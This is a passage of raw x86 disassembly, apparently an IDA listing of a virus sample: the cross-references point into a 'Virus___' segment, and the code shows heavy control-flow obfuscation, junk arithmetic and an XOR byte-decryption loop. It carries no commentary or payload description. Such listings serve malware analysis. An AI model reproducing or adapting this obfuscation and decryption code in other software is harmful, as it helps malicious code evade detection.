SIZE 00000067 BYTES ; FUNCTION CHUNK AT 005438FC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00543919 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00543988 SIZE 00000070 BYTES ; FUNCTION CHUNK AT 00543A1D SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00543A51 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00543AB5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00543ADE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00543B05 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00543B22 SIZE 000000F8 BYTES ; FUNCTION CHUNK AT 00543C34 SIZE 00000054 BYTES ; FUNCTION CHUNK AT 00543C92 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00543CCB SIZE 00000043 BYTES ; FUNCTION CHUNK AT 00543D2C SIZE 0000004A BYTES ; FUNCTION CHUNK AT 00543D90 SIZE 00000091 BYTES ; FUNCTION CHUNK AT 00543E55 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00543EB1 SIZE 000000A9 BYTES ; FUNCTION CHUNK AT 00543F84 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 00543FE0 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 00544055 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 005440D4 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00544129 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 00544191 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005441D6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005441F1 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00544241 SIZE 00000067 BYTES ; FUNCTION CHUNK AT 005442C7 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00544305 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 00544391 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005443A1 SIZE 0000007C BYTES ; FUNCTION CHUNK AT 0054443D SIZE 00000044 BYTES ; FUNCTION CHUNK AT 00544496 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005444D4 SIZE 0000005E BYTES ; FUNCTION CHUNK AT 00544543 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 0054459D SIZE 0000008F BYTES ; FUNCTION CHUNK AT 0054463B SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005446A6 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 00544705 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00544754 SIZE 0000017A BYTES ; FUNCTION CHUNK AT 005448DF SIZE 00000056 BYTES ; FUNCTION CHUNK AT 00544957 SIZE 00000078 BYTES ; FUNCTION CHUNK AT 005449E2 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00544A2B SIZE 000000E6 BYTES ; FUNCTION CHUNK AT 00544B2F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00544B4E SIZE 0000006B BYTES ; FUNCTION CHUNK AT 00544BCC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00544BE9 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 00544C64 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00544CD0 SIZE 00000075 BYTES ; FUNCTION CHUNK AT 00544D90 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 00544DEF SIZE 0000004E BYTES ; FUNCTION CHUNK AT 00544E43 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00544E5A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00544E8B SIZE 0000006E BYTES ; FUNCTION CHUNK AT 00544F0E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00544F3C SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00544FA2 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00544FE6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00545022 SIZE 00000081 BYTES ; FUNCTION CHUNK AT 005450AB SIZE 00000046 BYTES ; FUNCTION CHUNK AT 0054511C SIZE 00000050 BYTES ; FUNCTION CHUNK AT 0054519B SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005451E1 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00545223 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00545252 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00545289 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005452EB SIZE 00000087 BYTES ; FUNCTION CHUNK AT 0054539D SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005453EE SIZE 000000CC BYTES ; FUNCTION CHUNK AT 005454D2 SIZE 0000011C BYTES ; FUNCTION CHUNK AT 005455FF SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0054563D SIZE 0000005A BYTES ; FUNCTION CHUNK AT 005456B8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005456D1 SIZE 0000005D BYTES ; FUNCTION CHUNK AT 00545741 SIZE 000000B4 BYTES ; FUNCTION CHUNK AT 00545802 SIZE 00000059 BYTES ; FUNCTION CHUNK AT 00545862 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0054588F SIZE 0000012F BYTES ; FUNCTION CHUNK AT 005459DA SIZE 00000051 BYTES ; FUNCTION CHUNK AT 0054C877 SIZE 000000E7 BYTES ; FUNCTION CHUNK AT 0054C969 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0054C98D SIZE 00000058 BYTES ; FUNCTION CHUNK AT 0054C9FC SIZE 00000142 BYTES ; FUNCTION CHUNK AT 0054CB4E SIZE 00000060 BYTES ; FUNCTION CHUNK AT 0054CBDE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054CBF3 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0054CC24 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0054CC48 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0054CC59 SIZE 00000065 BYTES ; FUNCTION CHUNK AT 0054CCC8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0054CD29 SIZE 00000066 BYTES ; FUNCTION CHUNK AT 0054CD9B SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0054CDE5 SIZE 0000005D BYTES ; FUNCTION CHUNK AT 0054CE53 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0054CE85 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0054CEDC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0054CEF6 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0054CF2E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0054CF67 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0054CFA9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0054CFC5 SIZE 0000008F BYTES ; FUNCTION CHUNK AT 0054D05D SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0054D0D8 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0054D123 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0054D175 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0054D1A2 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 0054D1FC SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0054D249 SIZE 000000BD BYTES ; FUNCTION CHUNK AT 0054D349 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0054D369 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0054D39D SIZE 0000004E BYTES ; FUNCTION CHUNK AT 0054D409 SIZE 000000F9 BYTES ; FUNCTION CHUNK AT 0054D50D SIZE 00000052 BYTES ; FUNCTION CHUNK AT 0054D574 SIZE 0000004C BYTES ; FUNCTION CHUNK AT 0054D5D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054D5F5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0054D62A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0054D66C SIZE 00000051 BYTES ; FUNCTION CHUNK AT 0054D6C6 SIZE 000000F0 BYTES ; FUNCTION CHUNK AT 0054D7C6 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0054D800 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0054D83C SIZE 000000C8 BYTES ; FUNCTION CHUNK AT 0054D90A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0054D938 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0054D97D SIZE 0000009E BYTES ; FUNCTION CHUNK AT 0054DA26 SIZE 000000DB BYTES ; FUNCTION CHUNK AT 0054DB0F SIZE 0000005D BYTES ; FUNCTION CHUNK AT 0054DB7D SIZE 000001DC BYTES ; FUNCTION CHUNK AT 0054DD7D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0054DDAD SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0054DDD2 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0054DE0B SIZE 000000C0 BYTES ; FUNCTION CHUNK AT 0054DED1 SIZE 0000009D BYTES ; FUNCTION CHUNK AT 0054DFB6 SIZE 000000CE BYTES ; FUNCTION CHUNK AT 0054E095 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0054E0B0 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0054E0E5 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0054E139 SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0054E191 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0054E1A6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0054E1CF SIZE 000000B8 BYTES ; FUNCTION CHUNK AT 0054E29F SIZE 000000B3 BYTES ; FUNCTION CHUNK AT 0054E37C SIZE 00000168 BYTES ; FUNCTION CHUNK AT 0054E4F6 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0054E554 SIZE 0000005B BYTES ; FUNCTION CHUNK AT 0054E5D3 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0054E63C SIZE 000000F1 BYTES ; FUNCTION CHUNK AT 0054E73C SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0054E77C SIZE 0000008F BYTES ; FUNCTION CHUNK AT 0054E816 SIZE 0000011D BYTES ; FUNCTION CHUNK AT 0054E970 SIZE 00000146 BYTES ; FUNCTION CHUNK AT 0054EAC7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0054EAF6 SIZE 00000061 BYTES ; FUNCTION CHUNK AT 0054EB5F SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0054EBA9 SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0054EC18 SIZE 0000005F BYTES ; FUNCTION CHUNK AT 0054EC88 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0054ECD2 SIZE 000000E0 BYTES ; FUNCTION CHUNK AT 0054EDBD SIZE 000000E1 BYTES ; FUNCTION CHUNK AT 0054EEBE SIZE 0000004B BYTES ; FUNCTION CHUNK AT 0054EF14 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0054EF42 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0054EFAA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0054EFC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0054EFD9 SIZE 0000009D BYTES ; FUNCTION CHUNK AT 0054F086 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0054F0AC SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0054F10C SIZE 000000C2 BYTES ; FUNCTION CHUNK AT 0054F1DC SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0054F242 SIZE 000000BC BYTES ; FUNCTION CHUNK AT 0054F316 SIZE 00000049 BYTES ; FUNCTION CHUNK AT 0054F36F SIZE 00000066 BYTES ; FUNCTION CHUNK AT 0054F3FB SIZE 000000B9 BYTES push ebp push esp pop ebp add ebp, 4 push eax jmp loc_54C85E ; --------------------------------------------------------------------------- loc_545A3A: ; CODE XREF: sub_545A2B+1937j mov esi, ecx push [esp+4+var_4] pop ecx add esp, 4 and eax, esi mov esi, [esp+0] add esp, 4 jmp loc_54458C ; --------------------------------------------------------------------------- loc_545A50: ; DATA XREF: Virus___:00542D28o lodsb xor al, bl push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp-4+arg_0], ebx jmp loc_54CFE9 ; --------------------------------------------------------------------------- loc_545A6E: ; CODE XREF: sub_545A2B+859Aj pop eax jmp loc_54D29C ; --------------------------------------------------------------------------- loc_545A74: ; CODE XREF: sub_545A2B+3B56j pop ecx push eax push 2 pop eax add edi, eax mov eax, [esp-8+arg_4] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-4+arg_0] pop esp sub esp, 4 mov [esp-4+arg_0], edi push [esp-4+arg_4] jmp loc_549E8C ; --------------------------------------------------------------------------- loc_545AA3: ; CODE XREF: Virus___:0054D7C1j push edx push esi mov esi, 0BA05D6Ah jmp loc_54BAB8 ; --------------------------------------------------------------------------- loc_545AAF: ; CODE XREF: sub_545A2B+EDBj inc eax shr eax, 4 neg eax jmp loc_54B245 ; --------------------------------------------------------------------------- loc_545ABA: ; CODE XREF: sub_545A2B+20ADj mov esi, 2 sub esp, 4 mov [esp+0Ch+var_C], ebx jmp loc_5435E3 ; --------------------------------------------------------------------------- loc_545ACD: ; CODE XREF: sub_545A2B+3DA8j sub bl, 0AFh sub bl, ch add bl, 0AFh sub bl, 15h push [esp+0Ch+var_C] pop ecx add esp, 4 push ax mov ah, 7Eh add ah, 4Fh add ah, 2Eh sub bl, ah pop ax jmp loc_542FF2 ; --------------------------------------------------------------------------- loc_545AF2: ; CODE XREF: sub_545A2B+5275j mov edi, [esp+8+var_8] push ebx mov ebx, esp add ebx, 4 jmp loc_54A285 ; --------------------------------------------------------------------------- loc_545B03: ; CODE XREF: sub_545A2B+2911j mov eax, [esp+0Ch+var_C] push esi mov esi, esp add esi, 4 jmp loc_545677 ; --------------------------------------------------------------------------- loc_545B14: ; CODE XREF: sub_545A2B+4D65j pop ecx jmp loc_547568 ; --------------------------------------------------------------------------- loc_545B1A: ; CODE XREF: sub_545A2B+67Cj mov ecx, 12072C02h dec ecx xor ecx, 4B171C15h or ecx, 75C35F5Eh neg ecx jmp loc_54E011 ; --------------------------------------------------------------------------- loc_545B33: ; DATA XREF: Virus___:00542E90o mov ax, word ptr [esp+0Ch+var_C] push ecx mov ecx, esp jmp loc_54C38A ; --------------------------------------------------------------------------- loc_545B3F: ; CODE XREF: sub_545A2B+9199j push ebx mov bh, 85h jmp loc_54848F ; --------------------------------------------------------------------------- loc_545B47: ; CODE XREF: sub_545A2B-1982j push 2B82h mov [esp-2Ah+arg_26], ebp mov ebp, esp push edi push eax mov eax, 7D7A29ACh jmp loc_5474C1 ; --------------------------------------------------------------------------- loc_545B5D: ; CODE XREF: sub_545A2B+71Dj add esp, 4 push ebp push ebx push 6481h mov [esp-1Ah+arg_16], eax mov eax, 7D367DC3h mov ebx, eax push [esp-1Ah+arg_16] jmp loc_54A74D ; --------------------------------------------------------------------------- loc_545B79: ; CODE XREF: sub_545A2B+7A20j add esi, edi pop edi push 2437h mov [esp-16h+arg_12], edi push 1D55h mov [esp-12h+arg_E], edx jmp loc_546C4A ; --------------------------------------------------------------------------- loc_545B91: ; CODE XREF: sub_545A2B-5D5j mov edi, 3B4D1533h jmp loc_544754 ; --------------------------------------------------------------------------- loc_545B9B: ; CODE XREF: sub_545A2B-96Fj pop esp jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545BA1: ; CODE XREF: sub_545A2B+5440j mov edi, [esp-44h+arg_3E+2] jmp loc_5441A6 ; --------------------------------------------------------------------------- loc_545BA9: ; CODE XREF: sub_545A2B+7052j shr eax, 1 sub eax, 0FFFFFFFFh sub eax, 0E2B41E48h jmp loc_54B933 ; --------------------------------------------------------------------------- loc_545BB8: ; CODE XREF: sub_545A2B-599j add esp, 4 push 7C23h mov [esp-30h+arg_2A+2], edi mov edi, 6CB6666Dh and edi, 5C144B91h and edi, 344728Fh jmp loc_547401 ; --------------------------------------------------------------------------- loc_545BD9: ; CODE XREF: sub_545A2B+3C9Bj sub ebx, 1E8D28C2h push eax mov eax, 49A94CD6h sub ebx, eax pop eax add ebx, edi jmp sub_543A46 ; --------------------------------------------------------------------------- loc_545BEF: ; CODE XREF: sub_545A2B+2835j shl ch, 6 shr ch, 3 xor ch, 0Fh jmp loc_545741 ; --------------------------------------------------------------------------- loc_545BFD: ; CODE XREF: sub_545A2B+3F16j add edi, 667D208Ah and edi, 2A943E93h add edi, 0F7FFC5F1h sub ebx, 48C50EAh add ebx, edi add ebx, 48C50EAh mov edi, [esp-30h+arg_2A+2] add esp, 4 jmp loc_5475D8 ; --------------------------------------------------------------------------- loc_545C28: ; CODE XREF: sub_545A2B+F05j sub esp, 4 mov [esp-30h+arg_2A+2], eax jmp loc_543A23 ; --------------------------------------------------------------------------- loc_545C36: ; CODE XREF: sub_54E933+38j neg ebp push ecx push esi push eax jmp loc_54BBD5 ; --------------------------------------------------------------------------- loc_545C40: ; CODE XREF: sub_545A2B+7337j xchg ebp, [esp-24h+arg_1E+2] pop esp push 2CB1h mov [esp-24h+arg_1E+2], esi push edi jmp loc_548056 ; --------------------------------------------------------------------------- loc_545C52: ; CODE XREF: sub_545A2B+39BFj not esi shl esi, 2 shr esi, 6 dec esi add esi, 6395B526h sub edi, esi pop esi sub edx, edi pop edi add edx, 0AE67207Bh sub esi, 31475B83h add esi, edx push edx mov edx, 0C2F6AC0h xor edx, 3D683143h jmp loc_54E7F7 ; --------------------------------------------------------------------------- loc_545C86: ; DATA XREF: Virus___:00542EBCo pop dword ptr [edx] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545C8D: ; CODE XREF: sub_545A2B-ED2j push 2963h mov [esp-14h+arg_E+2], edx push 2C78h mov [esp-10h+arg_A+2], edi mov edi, eax push edi sub dword ptr [esp+0], 58ED7464h mov edx, [esp+0] add esp, 4 jmp loc_549AF0 ; --------------------------------------------------------------------------- loc_545CB2: ; CODE XREF: sub_545A2B+9897j pop ecx mov eax, [esp-14h+arg_E+2] add esp, 4 jmp loc_5448EF ; --------------------------------------------------------------------------- loc_545CBE: ; CODE XREF: sub_545A2B+303Fj push ebp push esp mov ebp, [esp-10h+arg_A+2] add esp, 4 push 68F6h mov [esp-10h+arg_A+2], ebx mov ebx, 4B90233Ch sub ebx, 4B902338h add ebp, ebx push [esp-10h+arg_A+2] pop ebx add esp, 4 push ebx mov ebx, 2 add ebp, 2B4D1097h jmp loc_54F46F ; --------------------------------------------------------------------------- loc_545CF9: ; CODE XREF: sub_545A2B+310Ej mov eax, 0FFFFFFFFh add ebp, eax pop eax xor ebp, 2E42492Ch jmp loc_547195 ; --------------------------------------------------------------------------- loc_545D0C: ; CODE XREF: sub_545A2B+2553j mov edi, [esp-14h+arg_E+2] push eax jmp loc_54B0DC ; --------------------------------------------------------------------------- mov sp, word ptr [esp-10h+arg_A+2] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545D1E: ; CODE XREF: sub_545A2B+6A72j sub esp, 4 mov [esp+0], ecx mov ecx, 22041813h push edi mov edi, 2F4B4589h push edi sub [esp-4+arg_0], 637E3F24h pop ebp add ebp, 637E3F24h pop edi jmp sub_5452D5 ; --------------------------------------------------------------------------- loc_545D44: ; CODE XREF: sub_545A2B+5E10j push edx mov dh, al mov bl, dh pop edx jmp loc_544A3B ; --------------------------------------------------------------------------- loc_545D4F: ; CODE XREF: sub_545A2B+7490j mov eax, 29845648h shl eax, 6 not eax jmp loc_547F23 ; --------------------------------------------------------------------------- loc_545D5E: ; CODE XREF: sub_545A2B-1404j sub ebp, esi pop esi add ebp, esi add ebp, 60B8277Bh mov esi, [esp-1Eh+arg_1A] add esp, 4 push ebx mov ebx, 14EB4A8Fh add ebx, 28FE55F2h and ebx, 19E6716Eh push edi jmp loc_5438A8 ; --------------------------------------------------------------------------- loc_545D8A: ; CODE XREF: sub_545A2B+3966j sub al, ch pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-1Ah+arg_16] pop esp mov [esp-1Eh+arg_1A], ecx mov cl, 12h push edx mov dh, 0EEh jmp loc_544F5E ; --------------------------------------------------------------------------- loc_545DAA: ; CODE XREF: sub_545A2B+2B0Ej mov edx, [esp-1Ah+arg_16] add esp, 4 jmp loc_549B1F ; --------------------------------------------------------------------------- loc_545DB8: ; CODE XREF: sub_545A2B+6DF5j sub edx, esi push [esp-1Eh+arg_1A] pop esi jmp loc_545144 ; --------------------------------------------------------------------------- loc_545DC3: ; CODE XREF: sub_54585B+9C66j push 1A38h mov [esp-1Ah+arg_16], esi pop ebp pop esi push ebp push [esp-1Eh+arg_1E] pop ebp pop [esp-1Eh+arg_1A] push [esp-22h+arg_1E] pop eax push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_543A51 ; --------------------------------------------------------------------------- loc_545DEE: ; CODE XREF: sub_54DD9C-CC9j mov eax, 4A2242A6h jmp loc_54DDD2 ; --------------------------------------------------------------------------- loc_545DF8: ; CODE XREF: sub_545A2B-279Ej add edi, 4 add edi, 4 jmp loc_547533 ; --------------------------------------------------------------------------- loc_545E09: ; CODE XREF: sub_545A2B+304Ej xchg ebp, edi xchg ebx, ebp not ebx xchg ebx, ebp xchg ebp, edi push edx mov edx, 62CA29C6h push edx inc [esp-12h+arg_E] pop edx shl edx, 2 shl edx, 8 xor edx, 0D7DCA435h xor edi, edx jmp loc_544F42 ; --------------------------------------------------------------------------- loc_545E31: ; CODE XREF: sub_545A2B+1D12j sub esp, 4 mov [esp-12h+arg_E], esi mov esi, 14E871D4h jmp loc_54AC69 ; --------------------------------------------------------------------------- loc_545E41: ; CODE XREF: sub_545A2B+7C83j mov [esp-12h+arg_E], edi mov edi, 394919F7h shl edi, 6 xor edi, 6E063F9Eh xor edi, 6A9619DCh xor ebx, edi mov edi, [esp-12h+arg_E] add esp, 4 jmp loc_548609 ; --------------------------------------------------------------------------- loc_545E65: ; CODE XREF: sub_545A2B+6E79j push ebp jmp loc_54D409 ; --------------------------------------------------------------------------- loc_545E6B: ; CODE XREF: sub_545A2B+8195j push eax jmp loc_54D736 ; --------------------------------------------------------------------------- loc_545E71: ; CODE XREF: sub_543F5A-A3Fj push edx push ecx mov cl, 7Eh jmp loc_54B080 ; --------------------------------------------------------------------------- loc_545E7A: ; CODE XREF: sub_545A2B+828j mov [esp-6+arg_0+2], ecx jmp loc_548C8C ; --------------------------------------------------------------------------- loc_545E82: ; CODE XREF: sub_54CE77+9j mov [esp-6+arg_0+2], edi push esi push 268706B7h pop esi jmp loc_546E40 ; --------------------------------------------------------------------------- loc_545E91: ; CODE XREF: sub_545A2B-147Cj add ecx, 4 jmp loc_5474A2 ; --------------------------------------------------------------------------- loc_545E99: ; CODE XREF: sub_545A2B-1AA5j pop edx shr ecx, 0Ah push 51C0h mov [esp-3Ch+arg_36+2], ebx jmp loc_545A07 ; --------------------------------------------------------------------------- loc_545EAA: ; CODE XREF: sub_545A2B+7D9Ej pop esp mov ax, word ptr [esp-40h+arg_3A+2] push 1AABh mov [esp-3Ch+arg_36+2], ebp jmp loc_546E3A ; --------------------------------------------------------------------------- loc_545EBC: ; CODE XREF: sub_545A2B+9A84j push dword ptr [eax] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_545EC3: ; CODE XREF: sub_545A2B+4E72j mov eax, [esp-38h+arg_32+2] add esp, 4 inc bh push edx jmp loc_54B7E5 ; --------------------------------------------------------------------------- loc_545ED1: ; CODE XREF: sub_545A2B+29F2j pop ebx sub esi, edx add esi, 28793926h jmp loc_547C33 ; --------------------------------------------------------------------------- loc_545EDF: ; CODE XREF: sub_545A2B+1861j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-38h+arg_32+2] pop esp mov [esp-3Ch+arg_36+2], ebp sub esp, 4 mov [esp-38h+arg_32+2], edx jmp loc_54EFE4 ; --------------------------------------------------------------------------- loc_545F00: ; CODE XREF: sub_545A2B-1311j add dh, ah jmp loc_54724C ; --------------------------------------------------------------------------- loc_545F07: ; CODE XREF: sub_545A2B+74EDj mov [esp-3Eh+arg_3A], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp-3Ah+arg_36], edi jmp loc_544FB6 ; --------------------------------------------------------------------------- loc_545F1D: ; CODE XREF: sub_545A2B+8DDBj add edx, ebx pop ebx jmp sub_5456BE ; --------------------------------------------------------------------------- loc_545F25: ; CODE XREF: sub_545A2B+96D3j or edx, 3FB91229h push edi jmp loc_54D4E7 ; --------------------------------------------------------------------------- loc_545F31: ; CODE XREF: sub_545A2B-24A0j push esi push 28ED6D10h pop esi push ecx mov ecx, 0FFFFFFFFh sub esi, ecx jmp loc_549C98 ; --------------------------------------------------------------------------- loc_545F45: ; CODE XREF: sub_545A2B+7C0Cj xor dl, 98h mov cl, dl pop edx jmp loc_546CA3 ; --------------------------------------------------------------------------- loc_545F50: ; CODE XREF: sub_545A2B+111Fj mov ebx, 711567FAh sub ebx, 1A3F0C74h jmp loc_54D6A9 ; --------------------------------------------------------------------------- loc_545F60: ; CODE XREF: sub_545A2B+9529j mov eax, [esp-1Eh+arg_1A] add esp, 4 jmp loc_54E907 ; --------------------------------------------------------------------------- loc_545F6B: ; CODE XREF: sub_545A2B-F52j push eax mov eax, ebp mov ecx, eax pop eax pop ebp and esi, ecx push [esp-4Ch+arg_46+2] pop ecx add esp, 4 xor esi, 192D65FEh jmp loc_54EAFF ; --------------------------------------------------------------------------- loc_545F86: ; CODE XREF: sub_545A2B-AC0j sub eax, 4 xchg eax, [esp-1Ch+arg_16+2] pop esp mov [esp-20h+arg_1A+2], esp jmp loc_5477B3 ; --------------------------------------------------------------------------- loc_545F95: ; CODE XREF: sub_545A2B+3753j add esp, 4 jmp loc_546CF3 ; --------------------------------------------------------------------------- loc_545F9D: ; CODE XREF: sub_545A2B+6521j pop esp xor bl, al movzx eax, al push dword ptr [edi+eax*4] push ecx push eax mov eax, 2AD02B9Eh mov ecx, 44130D27h add ecx, eax jmp loc_54737A ; --------------------------------------------------------------------------- loc_545FB9: ; DATA XREF: Virus___:00542E38o mov ax, word ptr [esp-1Ch+arg_16+2] push 624Fh mov [esp-18h+arg_12+2], edi push esp mov edi, [esp-14h+arg_E+2] jmp loc_549169 ; --------------------------------------------------------------------------- loc_545FCE: ; CODE XREF: sub_545A2B+4B28j add esp, 4 sub [esp-18h+arg_12+2], 6F2E4B9Ch sub [esp-18h+arg_12+2], 66DA430Eh push esi mov esi, 5F7B1FD2h jmp loc_5484F4 ; --------------------------------------------------------------------------- loc_545FEA: ; CODE XREF: sub_545A2B+868j mov esi, [esp-14h+arg_E+2] add esp, 4 jmp sub_543776 ; --------------------------------------------------------------------------- loc_545FF5: ; CODE XREF: sub_545A2B+5C69j sub ebx, 0F77FE06h mov esi, ebx pop ebx or edx, esi push [esp-1Ch+arg_16+2] jmp loc_54607D ; --------------------------------------------------------------------------- loc_546008: ; CODE XREF: sub_545A2B+220Aj push [esp-18h+arg_16+2] pop esi jmp loc_54CEFE ; --------------------------------------------------------------------------- loc_546012: ; CODE XREF: sub_545A2B+93F2j push ebx mov ebx, 0BDA733Ah add eax, ebx pop ebx shr eax, 6 add eax, 0FFB5A51Ch jmp loc_543919 ; --------------------------------------------------------------------------- loc_546028: ; CODE XREF: sub_545A2B+113Dj push [esp-18h+arg_12+2] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-14h+arg_E+2] pop esp sub eax, ebx add eax, 2445724h push 1618h jmp loc_54E2E3 ; --------------------------------------------------------------------------- loc_546050: ; CODE XREF: sub_545A2B-1F04j xor esi, ecx pop ecx jmp loc_54632F ; --------------------------------------------------------------------------- loc_546058: ; CODE XREF: sub_545A2B+984Dj xchg ebp, [esp-3Ch+arg_36+2] jmp loc_54CC07 ; --------------------------------------------------------------------------- loc_546060: ; CODE XREF: sub_545A2B+6B82j pop esp mov [esp-40h+arg_3A+2], eax mov eax, 63F73E01h push ecx push esi mov esi, 49D76DA2h mov ecx, esi pop esi sub eax, ecx pop ecx neg eax jmp loc_54DA39 ; --------------------------------------------------------------------------- loc_54607D: ; CODE XREF: sub_545A2B+5D8j pop esi add esp, 4 jmp loc_54F3B6 ; --------------------------------------------------------------------------- loc_546086: ; CODE XREF: sub_545A2B+450Fj mov eax, [esp-20h+arg_1A+2] jmp loc_54D068 ; --------------------------------------------------------------------------- loc_54608E: ; CODE XREF: sub_545A2B-DE8j pop eax push ecx mov ecx, 4 add edi, ecx pop ecx jmp loc_547B5F ; --------------------------------------------------------------------------- loc_54609D: ; CODE XREF: sub_545A2B+93B5j push ecx jmp loc_54AEFD ; --------------------------------------------------------------------------- loc_5460A3: ; CODE XREF: sub_545A2B+89FEj mov [esp-18h+arg_12+2], ebx push ecx jmp loc_545B1A ; --------------------------------------------------------------------------- loc_5460AC: ; CODE XREF: sub_545A2B+5BCBj sub ecx, 0F2C0B4F2h mov [edx+30h], ecx pop ecx popa jmp loc_543261 ; --------------------------------------------------------------------------- loc_5460BC: ; CODE XREF: sub_545A2B+3FCDj and eax, edi push [esp-38h+arg_32+2] pop edi add esp, 4 jmp loc_547E6E ; --------------------------------------------------------------------------- loc_5460CA: ; CODE XREF: sub_545A2B+2FB5j xor eax, [esp-3Ch+arg_36+2] pop esp mov [esp-40h+arg_3A+2], ebx jmp loc_548FF8 ; --------------------------------------------------------------------------- loc_5460D6: ; CODE XREF: sub_545A2B+75EAj add esp, 4 jmp loc_549A6D ; --------------------------------------------------------------------------- loc_5460DE: ; CODE XREF: sub_545A2B-140Fj push [esp-1Eh+arg_1E] mov ebp, [esp-1Ah+arg_16] push eax mov eax, esp add eax, 4 jmp loc_54B097 ; --------------------------------------------------------------------------- 